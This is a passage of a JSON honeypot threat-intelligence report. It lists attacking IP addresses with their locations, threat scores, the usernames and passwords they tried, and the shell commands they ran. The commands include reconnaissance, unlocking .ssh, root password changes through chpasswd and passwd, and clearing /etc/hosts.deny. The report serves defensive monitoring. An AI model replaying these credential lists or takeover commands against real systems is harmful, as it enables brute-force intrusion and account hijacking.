      "threat_level": "high",
      "score_components": {
        "frequency": 27.2,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 524,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T13:55:26.594000+00:00",
        "last_seen_30d": "2026-03-31T14:50:38.666000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 410,
        "Suricata": 114
      }
    },
    "27.79.1.131": {
      "attack_count": 397,
      "first_seen": "2026-03-14T12:51:45.541Z",
      "last_seen": "2026-03-14T13:27:21.407Z",
      "sessions": 79,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "monitor",
        "admian",
        "am",
        "ashish",
        "belkinstyle",
        "btf",
        "carol",
        "config",
        "cpanel",
        "demo",
        "developer",
        "dubai",
        "help",
        "install",
        "joro",
        "kelly",
        "madrid"
      ],
      "passwords_attempted": [
        "123456",
        "1234",
        "admin",
        "P@ssw0rd",
        "039715582364317",
        "0l0ctyQh243O63uD",
        "1",
        "12345",
        "123456789",
        "321start",
        "72b1bd75ac87852a",
        "72ca06",
        "@",
        "OkwKcECs8qJP2Z",
        "alpine",
        "am",
        "ashish",
        "bananapi",
        "calvin",
        "carol"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.6,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 570,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T12:51:45.541000+00:00",
        "last_seen_30d": "2026-03-14T13:28:22.486000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 397,
        "Suricata": 173
      }
    },
    "38.22.170.10": {
      "attack_count": 377,
      "first_seen": "2026-03-03T10:33:12.874Z",
      "last_seen": "2026-03-05T14:55:03.493Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "#qlalf#wiseit#qjsgh#",
        "1w3r5y7i9p",
        "Abcd.1234",
        "Asd123",
        "Asdfghj123456789",
        "Bingo@1993",
        "Digital@2021",
        "Idc@123",
        "P@ss2025",
        "Password",
        "Server12#$",
        "aliali",
        "asd1234567",
        "centos@123#",
        "dt1",
        "home2025",
        "lf123456",
        "public"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:1OENpkwhAwON\"|chpasswd|bash",
        "echo \"root:39ngRe6dK2vh\"|chpasswd|bash",
        "echo \"root:UVcpwHGEFpfg\"|chpasswd|bash",
        "echo \"root:vLEQkKUs1ij4\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Guadalajara",
      "asn": 270133,
      "as_org": "Fiberwifi SA de CV",
      "threat_score": 5.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.5,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 447,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T10:33:12.874000+00:00",
        "last_seen_30d": "2026-03-05T14:56:05.620000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 377,
        "Suricata": 70
      }
    },
    "43.160.200.19": {
      "attack_count": 309,
      "first_seen": "2026-03-05T02:00:44.473Z",
      "last_seen": "2026-03-05T20:53:13.992Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "angel",
        "hamza",
        "ionadmin",
        "kapsch",
        "lzy",
        "myadmin",
        "nginx",
        "public",
        "sipv"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "!Q@W#E4r5t6y",
        "123",
        "123456abc.",
        "55555555",
        "90909090",
        "Admin!@123",
        "Admin$2025",
        "Angel123!",
        "Bingo@1993",
        "Dx@123456",
        "Dy123456789",
        "Kapsch123!",
        "Lzy123!",
        "admin@123456",
        "password",
        "root.2022",
        "sipvpass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:QTK5W7EcaVZM\"|chpasswd|bash",
        "echo \"root:dv6G9XUtTcdb\"|chpasswd|bash",
        "echo \"root:yMlQ4ilCBPfC\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 5.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 373,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T02:00:44.473000+00:00",
        "last_seen_30d": "2026-03-05T20:54:22.738000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 309,
        "Suricata": 64
      }
    },
    "103.176.79.117": {
      "attack_count": 307,
      "first_seen": "2026-03-05T19:47:00.392Z",
      "last_seen": "2026-03-17T18:38:27.059Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "patrick",
        "ravi",
        "sakura",
        "amir",
        "auser",
        "client",
        "cw",
        "cyrus",
        "edu",
        "gbase",
        "hasan",
        "jon",
        "mcuser",
        "moon",
        "netflow",
        "sgp",
        "telegram",
        "toor",
        "vpnuser"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "123",
        "1234",
        "Netflow123!",
        "client123!",
        "cwpass",
        "edupass",
        "hasan1234",
        "moonpass",
        "patrick123",
        "sgp1234",
        "telegram1234",
        "toor1234",
        "vpnuser2025"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234\\nafDiC3YpPNez\\nafDiC3YpPNez\\n\"|passwd",
        "echo \"password\\na4k62x2lDgO9\\na4k62x2lDgO9\\n\"|passwd",
        "echo \"patrick123\\nfWh1fIQBDeOz\\nfWh1fIQBDeOz\\n\"|passwd",
        "echo -e \"1234\\nafDiC3YpPNez\\nafDiC3YpPNez\"|passwd|bash",
        "echo -e \"password\\na4k62x2lDgO9\\na4k62x2lDgO9\"|passwd|bash",
        "echo -e \"patrick123\\nfWh1fIQBDeOz\\nfWh1fIQBDeOz\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 25.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.7,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 372,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T19:47:00.392000+00:00",
        "last_seen_30d": "2026-03-17T18:39:29.487000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 307,
        "Suricata": 65
      }
    },
    "79.168.139.28": {
      "attack_count": 307,
      "first_seen": "2026-03-07T19:31:38.506Z",
      "last_seen": "2026-03-21T11:20:11.963Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "arm",
        "reza",
        "zhy",
        "crawl",
        "devman",
        "gits",
        "grafana",
        "hh",
        "m",
        "mc",
        "myftp",
        "nuc",
        "ravi",
        "rico",
        "sm",
        "syj",
        "user10"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345678",
        "password",
        "123",
        "ASDqwe123!@#",
        "Aa_123456",
        "Arm123!",
        "Dev@123",
        "User10123!",
        "gits123",
        "hh",
        "nuc123",
        "sm123",
        "zhy1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123\\nMgMixZDGWMiF\\nMgMixZDGWMiF\\n\"|passwd",
        "echo \"Arm123!\\njs0LnUpo95Oe\\njs0LnUpo95Oe\\n\"|passwd",
        "echo \"zhy1234\\nNqVSiZKiPvaJ\\nNqVSiZKiPvaJ\\n\"|passwd",
        "echo -e \"123\\nMgMixZDGWMiF\\nMgMixZDGWMiF\"|passwd|bash",
        "echo -e \"Arm123!\\njs0LnUpo95Oe\\njs0LnUpo95Oe\"|passwd|bash",
        "echo -e \"zhy1234\\nNqVSiZKiPvaJ\\nNqVSiZKiPvaJ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": "Pa\u00e7o de Arcos",
      "asn": 2860,
      "as_org": "Nos Comunicacoes, S.A.",
      "threat_score": 33.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 367,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T19:31:38.506000+00:00",
        "last_seen_30d": "2026-03-21T11:21:18.532000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 307,
        "Suricata": 60
      }
    },
    "159.203.138.173": {
      "attack_count": 262,
      "first_seen": "2026-03-10T22:24:27.476Z",
      "last_seen": "2026-03-10T22:46:27.774Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "clawd",
        "dev",
        "root",
        "wei",
        "joao",
        "mahdi",
        "mslee21",
        "reza",
        "soporte",
        "vbox"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "Dev123!",
        "Ni123456",
        "P@$$w0rd2025",
        "Wei123!",
        "mahdi1234",
        "reza123",
        "vbox"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123\\ns8KatrU0uaaK\\ns8KatrU0uaaK\\n\"|passwd",
        "echo \"Dev123!\\n9WpneNUpfLQ8\\n9WpneNUpfLQ8\\n\"|passwd",
        "echo \"Wei123!\\nC9bTHYQ90RNo\\nC9bTHYQ90RNo\\n\"|passwd",
        "echo -e \"123\\ns8KatrU0uaaK\\ns8KatrU0uaaK\"|passwd|bash",
        "echo -e \"Dev123!\\n9WpneNUpfLQ8\\n9WpneNUpfLQ8\"|passwd|bash",
        "echo -e \"Wei123!\\nC9bTHYQ90RNo\\nC9bTHYQ90RNo\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 301,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T22:24:27.476000+00:00",
        "last_seen_30d": "2026-03-10T22:47:37.913000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 39
      }
    },
    "156.227.232.198": {
      "attack_count": 242,
      "first_seen": "2026-03-09T00:03:38.324Z",
      "last_seen": "2026-03-12T01:25:52.066Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "csserver",
        "admin",
        "anders",
        "asterix",
        "big",
        "bitrix",
        "maarch",
        "mexal",
        "n8n",
        "new",
        "obc",
        "patricia",
        "silvia",
        "sklep",
        "test1",
        "user",
        "user2",
        "vnc"
      ],
      "passwords_attempted": [
        "123",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "1234",
        "12345",
        "123456Aa",
        "1qaz2WSX",
        "Bitrix123",
        "Csserver123!",
        "Obc123!",
        "Test2026!",
        "Zomboid123",
        "asterix123",
        "maarchpass",
        "n8n",
        "password123",
        "user1234",
        "user12345"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Csserver123!\\nhSBkMb4VdmVx\\nhSBkMb4VdmVx\\n\"|passwd",
        "echo \"root:HTMRVe0Bcvf0\"|chpasswd|bash",
        "echo -e \"Csserver123!\\nhSBkMb4VdmVx\\nhSBkMb4VdmVx\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 138152,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 300,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T00:03:38.324000+00:00",
        "last_seen_30d": "2026-03-12T01:26:59.114000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 242,
        "Suricata": 58
      }
    },
    "51.38.98.14": {
      "attack_count": 238,
      "first_seen": "2026-03-05T17:27:23.096Z",
      "last_seen": "2026-03-07T16:19:34.738Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "appserver",
        "hdoop",
        "roman",
        "astra",
        "elasticsearch",
        "ghostadmin",
        "huang",
        "javier",
        "jellyfin",
        "jessica",
        "jino",
        "mari",
        "noreply",
        "trooper",
        "user10",
        "webserver"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "123456",
        "Aaa123456",
        "Huang123",
        "Jessica123!",
        "Roman123",
        "astra",
        "elasticsearch123",
        "hdoop123",
        "javier123",
        "jellyfin",
        "noreply123!",
        "roman",
        "root123456.",
        "unix",
        "webserver1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123\\nXPupI5jxeVHj\\nXPupI5jxeVHj\\n\"|passwd",
        "echo \"hdoop123\\nCMtXXGvFmVom\\nCMtXXGvFmVom\\n\"|passwd",
        "echo -e \"123\\nXPupI5jxeVHj\\nXPupI5jxeVHj\"|passwd|bash",
        "echo -e \"hdoop123\\nCMtXXGvFmVom\\nCMtXXGvFmVom\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 7.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 294,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T17:27:23.096000+00:00",
        "last_seen_30d": "2026-03-07T16:20:42.181000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 238,
        "Suricata": 56
      }
    },
    "83.243.86.30": {
      "attack_count": 238,
      "first_seen": "2026-03-08T11:25:45.493Z",
      "last_seen": "2026-03-08T21:26:12.767Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "a",
        "ethan",
        "root",
        "db2inst1",
        "dhiraj",
        "ftpadmin",
        "harry",
        "in",
        "mob",
        "nikita",
        "nominatim",
        "noreply",
        "one",
        "patricia",
        "student5",
        "temp",
        "ubuntu",
        "viper",
        "web"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "123123",
        "1234",
        "123456",
        "Ll123456789",
        "Mob123!",
        "Temp123",
        "db2inst1123!",
        "in123!",
        "m",
        "nominatim1234",
        "noreply123!",
        "one1234",
        "password",
        "patricia123",
        "secret",
        "student5",
        "web123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123123\\nOlaRYjtOqa4e\\nOlaRYjtOqa4e\\n\"|passwd",
        "echo \"12345678\\nt6WH3Y2FJx0L\\nt6WH3Y2FJx0L\\n\"|passwd",
        "echo -e \"123123\\nOlaRYjtOqa4e\\nOlaRYjtOqa4e\"|passwd|bash",
        "echo -e \"12345678\\nt6WH3Y2FJx0L\\nt6WH3Y2FJx0L\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Berlin",
      "asn": 49581,
      "as_org": "Tube-Hosting",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 293,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T11:25:45.493000+00:00",
        "last_seen_30d": "2026-03-08T21:27:16.506000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 238,
        "Suricata": 55
      }
    },
    "103.176.20.115": {
      "attack_count": 232,
      "first_seen": "2026-03-05T20:28:19.150Z",
      "last_seen": "2026-03-15T07:11:44.623Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "felix",
        "angel",
        "chrome",
        "denis",
        "hamza",
        "ionadmin",
        "kapsch",
        "lekaren",
        "lzy",
        "myadmin",
        "nginx",
        "public",
        "sipv",
        "sit",
        "tsbot",
        "user02"
      ],
      "passwords_attempted": [
        "1234",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "1122332019",
        "123",
        "90909090",
        "Angel123!",
        "Cloud-12345",
        "Denis123!",
        "Kapsch123!",
        "Lekaren123",
        "Lzy123!",
        "Sit123!",
        "chrome123!",
        "password",
        "sipvpass",
        "user02123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nicwtldOX5iNi\\nicwtldOX5iNi\\n\"|passwd",
        "echo \"root:GGrGVyjgwK1H\"|chpasswd|bash",
        "echo -e \"12345678\\nicwtldOX5iNi\\nicwtldOX5iNi\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 131366,
      "as_org": "Lanit Technology and Communication Joint Stock Company",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 287,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T20:28:19.150000+00:00",
        "last_seen_30d": "2026-03-15T07:12:52.389000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 232,
        "Suricata": 55
      }
    },
    "120.240.236.178": {
      "attack_count": 232,
      "first_seen": "2026-03-04T12:37:46.286Z",
      "last_seen": "2026-03-15T20:22:41.605Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "auditor",
        "clawd",
        "cristi",
        "customer",
        "paolo",
        "stan",
        "stream",
        "toan",
        "user",
        "usuario1",
        "usuarioftp"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "123",
        "1234",
        "3245gs5662d34",
        "911911",
        "Auditor123!",
        "Q1w2e3r4t5!",
        "Qwerty123!@#",
        "Toan123!",
        "Usuarioftp123",
        "admin@2025",
        "cristi1234",
        "hanseatic",
        "paolopass",
        "password",
        "qweasdqwe",
        "qwer1234.",
        "stanpass"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
